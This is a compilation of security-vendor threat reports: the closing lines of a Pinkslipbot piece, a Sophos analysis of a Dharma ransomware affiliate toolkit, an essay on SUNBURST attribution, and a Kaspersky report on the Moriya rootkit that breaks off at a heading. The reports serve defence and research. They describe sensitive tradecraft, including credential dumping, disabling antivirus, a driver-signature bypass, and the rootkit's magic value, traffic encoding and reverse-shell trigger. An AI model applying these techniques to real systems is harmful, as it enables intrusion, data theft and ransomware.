We may have learned a lot about Pinkslipbot, but it is continuing its evolution. Pinkslipbot has shown that, despite having a small, active install base, it is capable of causing significant financial damage to individuals and corporations affected by it. The actors are refining the functionalities to cope with what the AV industry has discovered and what researchers may do to try to disrupt its infrastructure. As more sinkholes were added, the malware moved from a DGA to an IP address list to get the C&C server. Mixing valid C&C servers with random IP addresses makes this list too risky for firewall devices to block right away. This behavior shows that the group responsible for operating this malware is here to stay. Pinkslipbot continues to pose challenges to anti-virus detection as the group behind it is in this business for a long time, and only by monitoring threats like this and raising awareness in the public eye to avoid infection will the AV industry be able to stay ahead of the cybercriminals.
|
# Color by Numbers: Inside a Dharma Ransomware-as-a-Service Attack
Sean Gallagher
August 12, 2020
Dharma, a family of ransomware first spotted in 2016, continues to be a threat to many organizations—especially small and medium-sized businesses. Part of the reason for its longevity is that its variants have become the basis for ransomware-as-a-service (RaaS) operations—the fast-food franchise of cybercrime. Three recent attacks documented by SophosLabs and Sophos MTR have revealed a toolset used by Dharma affiliates that explains why attacks from so many different Dharma actors seem so identical, down to the tools and commands they use.
While other, newer ransomware families have grabbed recent headlines with high-profile victims and multi-million-dollar demands, Dharma has continued to be among the most profitable. In part that’s because actors with access to the source code continue to innovate around delivering the ransomware as a packaged business for less-sophisticated criminal operators. The Dharma RaaS we’ve investigated is targeted at entry-level cybercriminals and provides a paint-by-the-numbers approach to penetrating victims’ networks and launching ransomware attacks.
The actors using this particular RaaS are equipped with a package of pre-built scripts and “grey hat” tools that requires relatively little skill to operate. The Dharma operations we’ve documented use a combination of internal Windows tools, legitimate third-party “freeware” software, well-known security tools, and publicly-available exploits, integrated together through bespoke PowerShell, batch, and AutoIT scripts. This pre-packaged toolkit, combined with back-end technical support, significantly extends the reach of the Dharma RaaS operators, allowing them to profit while their affiliates do the hands-on-keyboard work of breaching networks, dropping ransomware, and managing “customer service” with the victims.
## Ransomware Economics
Dharma, formerly known as CrySis, has many variants due to the sale and modification of its source code to multiple malware developers. Those transfers aren’t necessarily from the malware’s original authors; in March, a collection of source code for one variant of Dharma was offered for sale on Russian-language crime forums for $2000 through an intermediary.
Because of its availability, Dharma has become the center of a criminal ecosystem based on a “syndication” business model. Dharma RaaS providers offer the technical expertise and support, operating the back-end systems that support ransomware attacks. “Affiliates” (often entry-level cybercriminals) pay for the use of the RaaS and carry out the targeted attacks themselves, using a standard toolkit. Other actors provide stolen credentials and other tools on criminal forums that enable the Remote Desktop Protocol attacks that are the predominant means of initial compromise for Dharma actors. (RDP attacks are the root cause of about 85 percent of Dharma attacks, based on statistics provided by Coveware.)
Ransom demands from Dharma actors trend below those of the other major types of targeted ransomware over the past year. In December of 2019, when the average ransomware demand had surged to $191,000, the average Dharma ransom demand was only $8,620. That’s in part due to the types of targets hit by Dharma (mostly small and medium businesses) and in part because of the skills, experience, and location of the affiliates running the attacks. In any case, Dharma operators make up for the lower ransom demands with volume—Dharma remains one of the most profitable ransomware families, according to Coveware.
Dharma uses a complicated two-stage decryption process that partitions the affiliate actors from the actual key retrieval process. Victims who contact the attackers are given a first-stage tool that extracts information about the files that were encrypted into a text file. That text file gets cut-and-pasted into email and is sent back to the affiliates—who then have to submit that data through a portal for the RaaS to obtain the actual keys. This keeps the affiliates dependent on the RaaS, and it keeps them paying for service.
Just how well the decryption process works depends greatly on the expertise and the moods of the affiliates. Occasionally an actor will hold back some of the keys with additional demands. And there’s constant “churn” among the front-end actors, as the “subscriptions” of some to RaaS services expire and others with less experience take their place, resulting in occasional misfires.
## The Dharma Playbook
Most Dharma operators don’t make significant changes to the source. But Dharma RaaS operators appear to package together a number of tools and best practices for their affiliates to use once they’ve gotten onto a victim’s network.
These tools aren’t completely automated, as every attack does not follow the same exact steps. However, they do follow something amounting to step-by-step instructions, akin to a telemarketer’s script, allowing some room for improvisation. One of those tools is a menu-driven PowerShell script that installs and launches the components required to spread ransomware across the network.
After getting an RDP connection, the attacker maps a directory containing the RaaS toolkit on their local drive as a network drive accessible from the remote desktop. The contents of this directory include a number of applications previously identified as potentially unwanted applications (such as the Mimikatz password extraction tool), customized hacking tools, and freeware versions of a variety of legitimate system utilities.
The kit also includes the Dharma ransomware executable and a collection of PowerShell scripts, most of which we were unable to recover for analysis. However, we did recover a master script from console logs. Called toolbelt.ps1, the menu-driven console script automates the use of the tools, allowing attackers to simply type in the number associated with each pre-scripted element.
When executed, it identifies itself in the console frame as “Toolbox,” and if executed with administrative privileges, advises the user/attacker, “Have fun, bro!”
The “menu” selections in Toolbox aren’t displayed as a menu by the script as it executes, though they are largely documented in the script itself. Tools are downloaded to the remote computer by the script as needed, executed, and in many cases deleted after use.
The menu commands we identified, by the numbers and symbols they are called by, were as follows:
- **Menu**
- **+** Executes Start-Tor.ps1, a script that launches a Tor network connection.
- **.** Executes Email-Screenshot.ps1, which creates a screenshot from the remote system and sends it to the email address (provided by the operator at a prompt in the script).
- **1** Runs LaPass.ps1, a “User changer” script. (We could not recover the script itself.)
- **2** Starts lusrmgr.msc, the Windows local user management plug-in.
- **3** Executes lubrute.ps1, a PowerShell script that attempts to get passwords to local user accounts through a brute force attack.
- **4** Copies and launches Mimikatz password extraction tools, dumping results to a text file.
- **5** Executes Find-Pass.ps1, a PowerShell script. (We were unable to recover this script for analysis.)
- **6** Copies password viewers from a shared directory on the initially compromised machine to %temp%, and then opens a File Explorer window on that directory.
- **7** Copies and executes the NirSoft Remote Desktop PassView password viewer tool.
- **8** Copies and executes LaZagne.exe, the Windows executable version of the LaZagne password scraper.
- **9** Copies and executes Hash Suite Tools Free edition’s Hash Dump utility, and opens the website dropmefiles[.]com—potentially to exfiltrate the password hashes for remote matching attempts.
- **10** Runs the script Delete-AVServices.ps1, which searches a list of malware protection related Windows services and partial service names to search for and kill.
- **11** Launches appwiz.cpl, the Add/Remove Programs Windows control panel.
- **12** Copies and executes the PC Hunter system diagnostics tool.
- **13** Copies, installs, and executes ProcessHacker.
- **14** Copies, installs, and executes IOBit Unlocker, a utility for removing file locks that would prevent deletion or encryption.
- **15** Copies and executes GMER, a “rootkit detector” used to reveal hidden processes.
- **16** Copies and executes a freeware version of Revo Uninstaller, a tool for uninstalling Windows software and cleaning up files left over from an uninstall.
- **17** Copies and executes IOBit Uninstaller, another software uninstaller tool.
- **18** Executes a PowerShell script, “Disable-WinDefend.ps1 /t”.
- **20** Executes a PowerShell script, “purgeMemory.ps1/”.
- **21** Executes takeaway.exe, the payload package that drops the ransomware.
- **22** Stops the winhost.exe process (the Dharma ransomware executable).
- **23** Executes a PowerShell script, winhostok.ps1.
- **25** Calls a function of the script called “Infect,” which deploys a file called javsecc.exe—called a “zombie” by the Dharma developers.
Upon execution, a message box pops up (the window name translates as “Zombification”). The message reads: “This build is able to destroy the working files of the ‘zombie’. Continue, when build process is finished. Continue?” Clicking “OK” executes an AutoIT process that obtains the external IP address of the system it runs on by calling multiple remote services, downloads and installs a Tor network client (tor.exe), checks install of Tor by pinging the local host address, then deletes temporary files, collects system information and user account data, and sends it to a remote .onion (Tor) server, and sleeps and waits for timer events.
The order of the use of the toolbelt.ps1 script varies, but we have observed common patterns among Dharma attackers. In one typical attack, we saw the operators follow the following steps:
1. The attacker launched the toolbelt script (toolbelt.ps1 -it 1)
2. Delete-avservices.ps1
3. GMER (gamer.exe)
4. Installing and launching ProcessHacker
5. Executing processhacker-2.39-setup.exe
6. Executing processhacker.exe
7. Javsec.exe (Mimikatz /NL Brute wrapper)
8. IpScan2.exe (Advanced IP Scanner)
9. Mstsc.exe
10. Takeaway.exe (ransomware package)
11. Executes winhost.exe (Dharma)
12. Executes purgememory.ps1
13. Ns2.exe (network scan)
## Playing by the Book
While the toolbelt.ps1 script is somewhat self-documenting, it’s clear that the end users of the script—the Dharma affiliates—are also operating from some other form of documentation. The “toolbelt” gives them all the access they need to move laterally across the network, exploiting domain administrator level credentials that they either steal or create through elevated privileges, but it’s not clear how fully automated some of the steps of that process are. Those steps are likely detailed in a how-to document created by the Dharma RaaS operators.
The ease with which Dharma attackers are able to take these tools and effectively spread ransomware on victims’ networks demonstrates the risks posed by both grey hat and legitimate but potentially unwanted administrative tools. It underlines the risks associated with improperly secured RDP servers, the major vector for most targeted ransomware attacks. Given that many of these attacks are made with stolen credentials purchased in forums, the Dharma attacks may be just one of many intrusions onto victims’ networks.
The majority of these Dharma affiliate attacks can be blunted by ensuring RDP servers are patched and secured behind a VPN with multi-factor authentication. Organizations need to remain vigilant about credential theft through phishing, particularly as they adjust to having more employees working remotely. Attention needs to be paid to access given to service providers and other third parties for business purposes.
Sophos detects the tools mentioned in this report as malware or PUAs. Data collected by Sophos MTR helps continuously improve detections of Dharma attacks. A full list of indicators of compromise, including detection names for the tools and malware mentioned in this report, can be found on SophosLabs’ GitHub page.
SophosLabs would like to acknowledge the contributions of Anand Ajjan, Andrew O’Donnell, and Gabor Szappanos of SophosLabs, and Syed Shahram Ahmed and Peter Mackenzie of the Sophos MTR Incident Response team to this report.
|
# The Devil’s in the Details: SUNBURST Attribution
## Background
Since initial disclosure in December 2020, the supply chain incident involving SolarWinds was linked in media reports to Russian intelligence entities, specifically Russia’s Foreign Intelligence Service (SVR). Although multiple government sources link the event to SVR, this has resulted in a type of “transitive” attribution to link the activity to APT29, also known as Cozy Bear or YTTRIUM, the only commercially-identified threat actor names linked to Russia’s SVR.
Yet none of the commercial entities responding to events linked to SUNBURST malware (or the wider Solorigate campaign), including FireEye, Microsoft, Volexity, and CrowdStrike, have linked SVR-associated APT29. Subsequent US government information on the event, from two Cybersecurity and Infrastructure Security Agency (CISA) reports which included no significant attribution statements, to more recent government statements which only assess that the responsible entity is “likely Russian in origin” and also do not make the SVR claim. Initially, the only substantive links to Russian intelligence activity (and SVR specifically) were through leaks to media organizations, with private security companies largely sitting the discussion out.
This changed on 11 January 2021 with a report published by Kaspersky. The report identified functional and code-level overlaps between the SUNBURST backdoor associated with the SolarWinds infection vector and .NET-based backdoor malware referred to as Kazuar. Of note, Kazuar activity (which according to Kaspersky’s analysis continued through December 2020) is only associated with one threat group: an entity referred to as Turla. The implication from Kaspersky’s nuanced analysis is the possibility that SUNBURST activity and the Turla group are potentially related.
## Who is Turla?
Turla—also referred to as Snake, Uroburos, Venomous Bear, and Waterbug—is assessed to have been active in some form since as early as 2004. Known for targeting political, military, and certain sensitive technology sectors, the group is frequently associated with complex toolsets and audacious operations such as co-opting satellite internet links for Command and Control (C2) activity.
Turla is associated with Russian interests and activity but has never been the subject of a detailed report or authoritative document, such as a US Department of Justice (DoJ) indictment or similar primary source. Several entities, such as Estonian and Czech intelligence services, link Turla with Russia’s Federal Security Service (FSB). However, despite multiple historical reports covering Turla activity from the US National Security Agency (NSA), CISA (then US-CERT), and the UK’s National Cyber Security Centre (NCSC), such entities only highlight that Turla is “widely reported to be associated with Russian actors,” avoiding any specific attribution.
While Estonian and Czech assessments cannot be completely discounted, it is notable that the US and UK governments—which have previously performed very specific attribution on other Russia-linked entities such as APT28 and Sandworm—abstain from similar assessments. While a Turla-FSB link is possible, at this time it is not as solid as similar assessments such as GRU links to APT28 and Sandworm.
## Examining Possibilities
The most direct conclusion from Kaspersky’s analysis is that SUNBURST is linked to Turla operations, which would potentially associate the campaign with Russia’s FSB and not SVR. However, Kaspersky analysts in both their reporting and social media communication emphasize that while a SUNBURST-Turla link is possible, this is hardly the only possibility available. Multiple possibilities exist, which will be discussed below.
### Turla Involvement
The first and most direct possibility is that Turla is indeed responsible for the SolarWinds and related intrusion activity. This would provide a very simple and efficient explanation for Kaspersky’s findings. Yet, there are problems with this assessment and other data points which do not support the conclusion.
For one, there is the FSB (likely, although not definitively, associated with Turla) versus SVR (indicated by multiple direct sources, including some available to DomainTools, as likely responsible) distinction. While Turla concrete attribution is hardly complete or definitive, unlike for other Russia-linked threat actors, the consensus of what limited claims exist focus on FSB. Meanwhile, multiple sources continue to emphasize that SVR is ultimately responsible for SUNBURST and related activity. The possibility of a single actor moving among organizations will be discussed below, but as a one-to-one mapping SUNBURST-Turla linkage seems problematic if we trust multiple government and confidential sources.
Admittedly, the sources in question are not without fault or criticism. The Estonian and Czech reports linking Turla to FSB cite no evidence of significance and these claims are not backed up in any other reporting. At the same time, SVR involvement in SUNBURST is based on no public, documented reporting, but instead derives from leaks to the media and private (if trusted) conversations. The only public statements by US government entities so far have emphasized a “likely” Russian nexus without naming a specific entity or alluding to any industry threat actors.
It is worth noting that Turla is associated with complex, high operational security intrusions since the group’s initial discovery. As such, a multi-staged, stealthy intrusion such as SUNBURST and related activity would appear to align with Turla’s operations. However, follow-on actions in victim environments, including extensive use of credential capture and replay as well as customized Cobalt Strike functionality as documented by FireEye and Microsoft, align with behaviors associated with APT29. From a pure tradecraft perspective then, the evidence is inconclusive.
### Contracted Actor Responsible
One possibility, which may explain the code overlap with Turla-linked tooling for a different actor, would be a shared, contracted developer resource supporting two different entities. In this scenario, malware developer resources are not dedicated to or housed within a single entity but instead reside as an external service provided to the actual intrusion set.
If this were used, malware sample code-level and function-level overlaps would be artifacts of common developer environments and tendencies and would be unrelated to the actual actors using the tools. Malware-centric threat analysis faces pitfalls and traps in that the analyzed object represents an artifact or tool used by an adversary, rather than necessarily an item inherent to the adversary itself.
While a malware-focused threat intelligence approach most obviously faces issues with tools that are publicly available, open source, or otherwise non-exclusive to specific threat actors, division of labor in cyber operations means overlaps may occur in otherwise “non-public” tooling as well. Under these circumstances, a single developer or developer resource is relied upon or hired to support tool development by multiple parties. Based on coding “quirks” and other tendencies, subtle similarities appear within tools not directly or critically related to tool functionality.
Unfortunately, this type of attribution is incredibly difficult to prove without having significant insight into the operations and resource management of threat actors. Yet we cannot discount the existence of malicious tool creators for hire—or even the possibility of shared “digital quartermaster” resources supporting disparate teams. If this were true, an overlap with Turla would be an artifact of such an arrangement while the perpetrators of Solorigate could represent another operational entity entirely.
### Joint Operation
An intriguing scenario surrounding the Solorigate activity in general and SUNBURST deployment in particular would be a joint or divided operation. In this scenario, the cyber kill chain is not executed or managed by a monolithic entity. Instead, different elements are operationally responsible for different stages of operations, with separate “access,” “intrusion,” and “execution” teams taking on specific roles.
If this were to hold as valid, Turla-linked capabilities in SUNBURST may be an artifact of Turla—a known, capable intrusion actor—having responsibility for initial access operations to victim networks. Meanwhile, follow-on exploitation and lateral movement are handed over to another team, with its own methods, tools, and tradecraft for carrying out operations.
As described previously, SUNBURST appears to at least superficially resemble Turla-linked capabilities and operations, while post-exploitation activity seems more closely linked to behaviors associated with APT29. Such divergence may not be an anomaly, but actually represent two distinct teams involved in the same operation.
While limited, public information links these activities to two distinct parts of Russia’s intelligence community (FSB and SVR, respectively), the possibility of these two organizations working together or in complementary fashion may be unlikely, but not outside the bounds of possibility. Both derive from the same ancestor organization—the Committee for State Security (KGB)—and have identical reporting and chain of command structures under the Russian President’s Council. That these organizations—typically divided between mostly (although not exclusively) internal (FSB) and external (SVR) operations—might collaborate makes more sense than either organization working in concert with Russia’s other major intelligence entity, the military’s Main Intelligence Directorate (GRU).
Although provocative, this theory would require significantly greater amounts of evidence to support it. Additional tools or capabilities representing initial access vectors, similar to SUNBURST, and further details on follow-on capabilities and exploitation would be necessary to have adequate information to justify delineating operations between distinct entities. Nonetheless, we cannot simply dismiss this as a possibility, and we as cyber threat intelligence analysts should be wary of assuming all operations are “unitary” in nature instead of composite operations divided among specialist teams.
### “False Flag” Operation
The overlaps with Turla-associated functionality in SUNBURST may represent an effort by the threat actor to throw off attribution through a “false flag,” misdirection operation. As documented by other researchers, Solorigate and related events may map to completely different threats previously noted for highly-targeted supply chain activities.
Yet on closer examination, although still possible, this seems less probable. For one, SUNBURST and related activity operated at a relatively obscure level of program functionality or tendencies such that it took a third-party, not known to be engaged in any active investigations in victim environments, to make the connection through very detailed malware reverse engineering. While one could claim such efforts are part of an exceptionally savvy, operationally secure operation, this level of effort and the non-obvious similarities would appear to indicate otherwise. The ability to make this (still tenuous) link to Turla relies upon recognition of non-obvious, technically obtuse overlaps between SUNBURST and Kazuar code, making this a very difficult and potentially unreliable mechanism to divert blame to another party.
Second, while the quality of existing sourcing has already been described as less than ideal with respect to Solorigate attribution, it remains that multiple US government agencies have publicly declared that Russia-linked entities are “likely” responsible for the event. While we may decry lack of additional detail and technical indicators making this case more complete, that such agencies would go public with such a proclamation in itself indicates a level of confidence in the assessment which is probably higher than the “likely” modifier attached to it.
Certainly a “we’re from the government, trust us” stance is problematic and less than ideal, but overall there are no significant examples of public US attribution statements ultimately being proved completely or disastrously wrong. In fact, previous work—such as that identifying Turla as having compromised APT34 to further Turla campaigns—indicates the US and UK governments are able to unpack false flag events when they occur. Therefore, although less than ideal, the declaration from CISA, NSA, the US Federal Bureau of Investigation (FBI), and Office of the Director of National Intelligence (ODNI) should give us as analysts pause before we engage in equally unfounded “whataboutism” in declaring that SUNBURST may be a false flag operation executed by an entity such as APT41.
### Coincidence
Finally, the items in question identified by Kaspersky may ultimately be the result of coincidence. Programmatic overlaps may be the result of developers having similar instructors, viewing the same support forums, or arriving at similar conclusions to similar problems. Short of additional evidence supporting a link to Turla for SUNBURST development, we as analysts may remain with only this perspective as a means to explain why SUNBURST overlapped with Kazuar in subtle, but nonetheless noticeable to the trained eye, ways.
Although disappointing and unexciting, this explanation may prove to be the most likely reason for such overlaps to occur. Yet the underlying reasons giving rise to these coincidences—programming similarities and other oddities—may indicate similar backgrounds or developer methodologies between Kazuar and SUNBURST even if operationally the items are used by completely distinct entities. Such an insight may cast an interesting light upon malware developer tendencies and similar observables, even if this does not lend any further detail to who is responsible for SUNBURST’s deployment.
## Conclusion
Investigation into the Solorigate activity, including its components such as SUNBURST and recently-disclosed SUNSPOT, remains ongoing. As noted by researchers from Kaspersky, more evidence is required before linking the activity to any known, tracked entity, although the technical analysis provided indicates subtle, tantalizing links to historical actors.
Nonetheless, we as cyber threat analysts and network defenders must remain skeptical, and process alternatives to the identified activity to ensure we do not engage in assumptions or similar intellectual shortcuts that may disadvantage future investigations. Overall, the process of specific attribution remains an exceptionally difficult task when dealing with less than complete information or viewing an intrusion from an external perspective. While the Solorigate activity and components such as SUNBURST and SUNSPOT are items of intense scrutiny and interest at this time, accurate attribution may depend on additional information gathering and leveraging non-cyber sources to clear up certain doubts and remaining questions. As a result, although this is frustrating on many levels to CTI professionals, we likely will be waiting months, if not years, before identifying additional information necessary to learn who is precisely responsible for this event within the current landscape of threat actors. This is not to say that such a task is impossible, but rather to emphasize the need for patience, dispassionate analysis, and continual information gathering to ensure accuracy.
|
# Operation TunnelSnake
**Authors**
Mark Lechtik
Giampaolo Dedola
Formerly unknown rootkit used to secretly control networks of regional organizations.
Windows rootkits, especially those operating in kernel space, are pieces of malware infamous for their near absolute power in the operating system. Usually deployed as drivers, such implants have high privileges in the system, allowing them to intercept and potentially tamper with core I/O operations conducted by the underlying OS, like reading or writing to files or processing incoming and outgoing network packets. The capability to blend into the fabric of the operating system itself, much like security products do, is the quality that earns rootkits their notoriety for stealth and evasion.
Having said that, the successful deployment and execution of a rootkit component in Windows has become a difficult task over the years. With Microsoft’s introduction of Driver Signature Enforcement, it has become harder (though not impossible) to load and run new code in kernel space. Even then, other mechanisms such as Kernel Patch Protection (also known as PatchGuard) make it hard to tamper with the system, with every change in a core system structure potentially invoking the infamous Blue Screen of Death.
Consequently, the number of Windows rootkits in the wild has decreased dramatically, with the bulk of those still active often being leveraged in high profile APT attacks. One such example came to our attention during an investigation last year, in which we uncovered a formerly unknown Windows rootkit and its underlying cluster of activity. We observed this rootkit and other tools by the threat actor behind it being used as part of a campaign we dubbed ‘TunnelSnake’, conducted against several prominent organizations in Asia and Africa.
In this blog post we will focus on the following key findings that came up in our investigation:
- A newly discovered rootkit that we dub ‘Moriya’ is used by an unknown actor to deploy passive backdoors on public facing servers, facilitating the creation of a covert C&C communication channel through which they can be silently controlled.
- The rootkit was found on networks of regional diplomatic organizations in Asia and Africa, detected on several instances dating back to October 2019 and May 2020, where the infection persisted in the targeted networks for several months after each deployment of the malware.
- We observed an additional victim in South Asia, where the threat actor deployed a broad toolset for lateral movement along with the rootkit, including a tool that was formerly used by APT1. Based on the detection timestamps of that toolset, we assess that the attacker had a foothold in the network from as early as 2018.
- A couple of other tools that have significant code overlaps with Moriya were found as well. These contain a user mode version of the malware and another driver-based utility used to defeat AV software.
We provided information about this operation in our threat intelligence portal in August 2020. More details and analysis are available to customers of our private APT reporting service. For more details contact: [email protected].
## What is the Moriya rootkit and how does it work?
Our investigation into the TunnelSnake campaign started from a set of alerts from our product on a detection of a unique rootkit within the targeted networks. Based on string artefacts within the malware’s binaries, we named this rootkit Moriya. This tool is a passive backdoor which allows attackers to inspect all incoming traffic to the infected machine, filter out packets that are marked as designated for the malware and respond to them. This forms a covert channel over which attackers are able to issue shell commands and receive back their outputs.
The rootkit has two traits that make it particularly evasive. The packet inspection happens in kernel mode with the use of a Windows driver, allowing attackers to drop the packets of interest before they are processed by the network stack, thus ensuring they are not detected by security solutions. Secondly, the fact that the rootkit waits for incoming traffic rather than initiating a connection to a server itself, avoids the need to incorporate a C&C address in the malware’s binary or to maintain a steady C&C infrastructure. This hinders analysis and makes it difficult to trace the attacker’s footprints.
The structure of the rootkit’s components consists of a kernel mode driver and a user mode agent that deploys and controls it. In the following sections we will break down each of these components and describe how they operate to achieve the goal of tapping into the target’s network communication and blending in its traffic.
### User mode agent analysis
The user mode component of the Moriya rootkit has two purposes. One is to deploy the kernel mode component of the malware on the machine and the other is to leverage the covert communication channel created by it to read shell commands sent from the C&C server to the compromised machine and to respond to them. Since Moriya is a passive backdoor intended to be deployed on a server accessible from the internet, it contains no hardcoded C&C address and relies solely on the driver to provide it with packets filtered from the machine’s overall incoming traffic.
The first order of business for the attacker when using Moriya is to gain persistence on the targeted computer. For this purpose, the user mode agent’s DLL contains an export function named Install, which is intended to create a service named ZzNetSvc with the description ‘Network Services Manager’ and start it. In turn, the path to the user mode agent’s image is set to the registry key HKLM\System\CurrentControlSet\Services\ZzNetSvc\Parameters\ServiceDll so that it will be invoked from its ServiceMain export each time the service is initiated.
Next, after the service is started, the agent will attempt to load the rootkit’s driver into the system. Its binary is bundled as two driver images within the DLL’s resource section, corresponding to 32- and 64-bit architectures, while in reality only one of them is written to disk. In the cases we analyzed, the agent DLLs were compiled for 64-bit systems, dropping a 64-bit driver to the drivers directory in the system path, under the name MoriyaStreamWatchmen.sys, hence the rootkit’s name.
The agent uses a known technique whereby the VirtualBox driver (VBoxDrv.sys) is leveraged to bypass the Driver Signature Enforcement mechanism in Windows and load Moriya’s unsigned driver. DSE is an integrity mechanism mandating that drivers are properly signed with digital signatures in order for them to be loaded, which was introduced for all versions of Windows starting from Vista 64-bit. The technique used to bypass it was seen in use by other threat actors like Turla, Lamberts and Equation.
Moriya’s user mode agent bypasses this protection with the use of an open-source code named DSEFIX v1.0. The user agent dumps an embedded VBoxDrv.sys image of version 1.6.2 to disk and loads it, which is then used by the aforementioned code to map Moriya’s unsigned driver to kernel memory space and execute it from its entry point. These actions are made possible through IOCTLs implemented in VBoxDrv.sys that allow writing to kernel address space and executing code from it. Throughout this process, the bypass code is used to locate and modify a flag in kernel space named g_CiOptions, which controls the mode of enforcement.
After the unsigned driver is loaded, the agent registers a special keyword that is used as a magic value, which will be sought in the first bytes of every incoming packet passed on the covert channel. This allows the rootkit to filter marked packets and block them for any application on the system other than the user mode agent. The registration of the value is done through a special IOCTL with the code 0x222004 sent to the driver, where a typical magic string is pass12.
Except for its covert channel communication feature, Moriya is capable of establishing a reverse shell session using an overt channel. For this purpose, it waits for a special packet that consists of a message with the structure connect <c2_address> <c2_port>. The address and port are parsed and used by the agent to start a new connection to the given server, while creating a new cmd.exe process and redirecting its I/O to the connection’s socket. The handles for the newly created process and its main thread are destroyed to avoid detection.
In any other case, the agent attempts to read the incoming TCP payload from the driver, which will be retrieved as soon as a designated packet with a magic number and shell command is received. An attempt is made to read the data with a plain ReadFile API function as a blocking operation, i.e., reading is accomplished only once the buffer in kernel mode is populated with data from a Moriya-related packet.
Upon an incoming packet event, the agent creates a new cmd.exe process and redirects its I/O using named pipes. One pipe is used to read the retrieved shell command from the covert channel and the other is used to write the shell’s output (obtained from the stdout and stderr streams) back to it after execution. To write any data back, the agent uses the WriteFile API function with the driver’s handle.
All traffic passed on the channel is encoded with a simple encryption scheme. Every sent byte has its payload, following the magic string, XORed with the value 0x05 and then negated. Following the same logic, to decode the incoming traffic’s payload, every byte of it should be first negated and then XORed with 0x05.
### Kernel mode driver analysis
The Moriya rootkit’s driver component makes use of the Windows Filtering Platform (WFP) to facilitate the covert channel between the compromised host and the C&C server. WFP provides a kernel space API that allows driver code to intercept packets in transit and intervene in their processing by the Windows TCP/IP network stack. This makes it possible to write a driver that can filter out distinct packet streams, based on developer-chosen criteria, and designate them for consumption by a specific user mode application, as is the case in Moriya.
The driver fetches the distinct Moriya-related traffic using a filtering engine. This is the kernel mode mechanism used to inspect traffic according to rules that can be applied on various fields across several layers of a packet (namely data link, IP and transport), making it possible to handle matching packets with unique handlers. Such handlers are referred to as callout functions.
In the case of Moriya, the filtering engine is configured to intercept TCP packets, sent over IPv4 from a remote address. Each packet with these criteria will be inspected by a callout function that checks if its first six bytes correspond to the previously registered magic value, and if so, copies the packet contents into a special buffer that can be later read by the user mode agent. The matching packet will then be blocked in order to hide its presence from the system, while any other packet is permitted to be processed as intended by the network stack.
To allow the crafting of a response back to the server, the callout function saves a special value in a global variable that identifies the received TCP stream. This value is called a flowHandle, and is taken from the packet’s corresponding FWPS_INCOMING_METADATA_VALUES0 struct. When the user issues a response to the server via the driver, the latter would craft a new packet using the FwpsAllocateNetBufferAndNetBufferList0 function and insert the response data and target server based on the saved flowHandle to it, using the function FwpsStreamInjectAsync0.
As formerly mentioned, the driver registers several functions that are exposed to the user mode agent in order to interact with it:
- **IRP_MJ_READ**: used to allow the user mode agent to read the body of a Moriya TCP packet from a special buffer to which it is copied upon receipt. The function itself waits on an event that gets signaled once such a packet is obtained, thus turning the ReadFile function called by the user mode agent into a blocking operation that will wait until the packet is picked up by the driver.
- **IRP_MJ_WRITE**: injects user-crafted data into a newly created TCP packet that is sent as a response to an incoming Moriya packet from the server.
- **IRP_MJ_DEVICE_CONTROL**: used to register the keyword to check the beginning of every incoming TCP packet in order to identify Moriya-related traffic. The passed magic is anticipated to be six characters long.
### How were targeted servers initially infected?
Inspecting the systems targeted by the rootkit, we tried to understand how they got infected in the first place. As previously mentioned, Moriya was seen deployed mostly on public-facing servers within the victim organizations. In one case, we saw the attacker infect an organizational mail server with the China Chopper webshell, using it to map the victim’s network and then deploy other tools in it. Moriya’s user mode agent was explicitly installed using a command line executed on the targeted server this way.
In general, we assess that the group’s modus operandi involves infiltrating organizations through vulnerable web servers in their networks. For example, an older variant of Moriya named IISSpy targets IIS web servers. Our telemetry shows that it was likely deployed by exploiting CVE-2017-7269 to let the attackers gain an initial foothold on a server prior to running the malware.
### Post exploitation toolset
During our investigation we found a target in South Asia that enabled us to get a glimpse into some of the other tools that we assess were in use by the same attacker. The toolset includes programs used to scan hosts in the local network, find new targets, perform lateral movement to spread to them and exfiltrate files. While most of the tools seem custom made and tailored for the attackers’ activities, we could also observe some open-source malware frequently leveraged by Chinese-speaking actors. Following is an outline of these tools based on their purpose in the infection chain.
**Network Discovery**: custom built programs used to scan the internal network and detect vulnerable services.
- **HTTP scanner**: command-line tool, found under the name ‘8.tmp’, which discovers web servers through banner grabbing. This is done by issuing a malformed HTTP packet to a given address, where no headers are included and the request is succeeded with multiple null bytes.
- **DCOM Scanner**: another command-line utility that attempts to connect to a remote host on TCP port 135 (RPC), and use the DCOM IOxidResolver interface to resolve addresses assigned to all network interfaces available on the remote system.
**Lateral Movement**: tools used to spread to other hosts in the targeted networks.
- **BOUNCER**: malware that was first described by Mandiant in their 2013 report on APT1. This tool is another passive backdoor that waits for incoming connections on a specific port and provides different features that can be used to control a remote host and facilitate lateral movement from it.
- **Custom PSExec**: the attacker deployed a tool to execute commands remotely on compromised machines. Like the original PSExec tool, this one consists of two components – a client named tmp and a service named pv.tmp.
**Exfiltration**: multi-platform utilities commonly used to establish connections with remote hosts and conduct file system operations on them, including file upload and download.
- **Earthworm and Termite**: well-known command-line utilities developed to facilitate intrusion into intranet networks. These programs are multiplatform and can be deployed on various architectures. Earthworm is used to create tunnels between compromised hosts. Termite provides additional features to download and upload files between the compromised hosts, as well as a way to spawn a remote shell to control the targeted machine.
- **TRAN**: another tool that we detected under the filename tmp that was used to transfer data between compromised hosts. The binary we saw operated as a loader that embodies a tiny web server encrypted with the RC4 algorithm within it.
### IISSpy: tracing Moriya back to a user-mode rootkit
IISSpy is an older user-mode version of the Moriya rootkit that we were able to pinpoint in our telemetry. It is used to target IIS servers for establishing a backdoor in their underlying websites. It was detected on a machine in 2018, unrelated to any of the attacks in the current operation. This suggests the threat actor has been active since at least that year.
The malware, which comes as a DLL, achieves its goals by enumerating running IIS processes on the server and injecting the malware’s DLL into them to alter their behavior. The executed code in the IIS processes will then set inline hooks for several functions, most notably CreateFileW.
Should the currently handled file contain the Moriya path, the very same hook function will generate a special file on the web server to which command execution output will be written. This file’s path is created by finding the position of the ‘\MORIYA\’ or ‘\moriya\’ strings in the inspected filename argument, and replacing it with the string ‘\IISINFO.HTM’.
Although it is evident from both the functionality and use of the Moriya keyword by the malware that IISSpy and the Moriya rootkit are related, further evidence in the code substantiates the connection:
- The older variant is capable of creating a reverse shell transmitted through an overt channel in exactly the same way as the more recent version of the malware.
- Both variants use the same packet encoding and decoding algorithm, whereby each clear-text byte is XORed with 0x5 and negated, and vice-versa.
### The ProcessKiller rootkit vs. security products
